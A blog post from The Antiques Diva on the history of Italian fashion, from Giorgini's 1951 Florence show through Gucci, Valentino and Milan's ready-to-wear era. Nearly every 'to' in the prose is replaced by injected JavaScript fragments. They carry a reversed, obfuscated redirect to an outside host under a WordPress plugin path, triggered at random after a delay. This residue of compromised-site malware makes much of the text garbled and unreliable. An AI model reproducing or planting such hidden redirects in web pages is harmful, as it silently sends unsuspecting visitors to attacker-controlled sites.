Italian Fashion

Dear Diva Readers,

toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}top: 5px; float: left; color: white; background: #781300; border: 1px solid darkkhaki; font-size: 60px; line-height: 50px; padding-toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}top: 1px; padding-right: 5px; font-family: times;”>Milan’s Fashion Week begins toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tomorrow and I’ve got Italian fashion on my mind (somehow when I wrote this I sang it toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to the tune of “Georgia on My Mind”). Any time we have clients take Antiques Diva Buying Tours in Italy, they inevitably comment on how chic the women look and how impeccably put toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}together the men are. There’s just something about the Italian STYLE.  My mouth wants toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to speak their language, eat their food, and devour their fashion.

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Fashion Italy 1960, Milan Fashion Week, Italian Fashion, Antiques Diva Buying Tours in Italy, Gucci fashion, GG monogram, Vintage Italian fashion

But did you know that prior toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to the 1950’s Italy was not known for its high fashion style? Most of the world was still taking fashion cues from Paris. It wasn’t until February of 1951 that Italian businessman Giovanni Battista Giorgini decided not toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to export fashion creations but rather toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to hold a multi-designer fashion show right in Florence. The first of many, his show was quite a success and Italy began toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to be known as a force in the fashion world. Of course most of the Italian fashion designers at that time were still modeling their designs after those in Paris, but they were able toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to produce them and sell them at a lower cost. This targeted approach proved toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to be successful and appealed toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to the American clientele.

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Fashion Italy 1962, Milan Fashion Week, Italian Fashion, Antiques Diva Buying Tours in Italy, Gucci fashion, GG monogram, Vintage Italian fashion

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By the 1960’s Gucci grabbed the attention of high-profile American women such as Grace Kelly, Audrey Hepburn and Jacqueline Kennedy Onassis. The Italian label’s “GG” monogram became synonymous with elite ladies in the United States and all over the globe. To this day, vintage Gucci handbags are highly sought after (and mamma mia, I’ve got toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to tell you the vintage fashion room at Mercanteinfiera has the most wonderful collection of these for sale) . Of course this same decade also saw the beginning of Valentino’s influential career. Dressing the social elite both in Italy and abroad in sculptural evening gowns and seductively chic and sexy cocktail dresses became a big business for Italian designers.

Fashion Italy 1960, Milan Fashion Week, Italian Fashion, Antiques Diva Buying Tours in Italy, Gucci fashion, GG monogram, Vintage Italian fashion

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By the 1970’s and 80’s, fashion designers in Milan started catering toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to the masses by making ready-toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to-wear pieces, making Italian fashion accessible and helping Milan toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to become known as a European fashion capital.  The attention toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to style, detail and quality has kept this city as a powerhouse in the world of fashion.

Next time you’re in Italy, try and pick up a piece of vintage Italian fashion.  Imagine yourself in La Dolce Diva (er I mean Vita) or Roman Holiday. Whether you’re buying a handbag, gorgeous pair of shoes, or perhaps even a stunning dress, you’ll own a slice of Italy – Diva Style!

The Antiques Diva, Toma Clark Haines, Florence

Ciao Bella,

The Antiques Diva®

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Author: Toma Clark Haines

Toma Clark Haines is a Global Tastemaker, Speaker, Writer & Entrepreneur; and founder and CEO The Antiques Diva® & Co, Europe, Asia and America's largest Antiques Sourcing & Touring Company.

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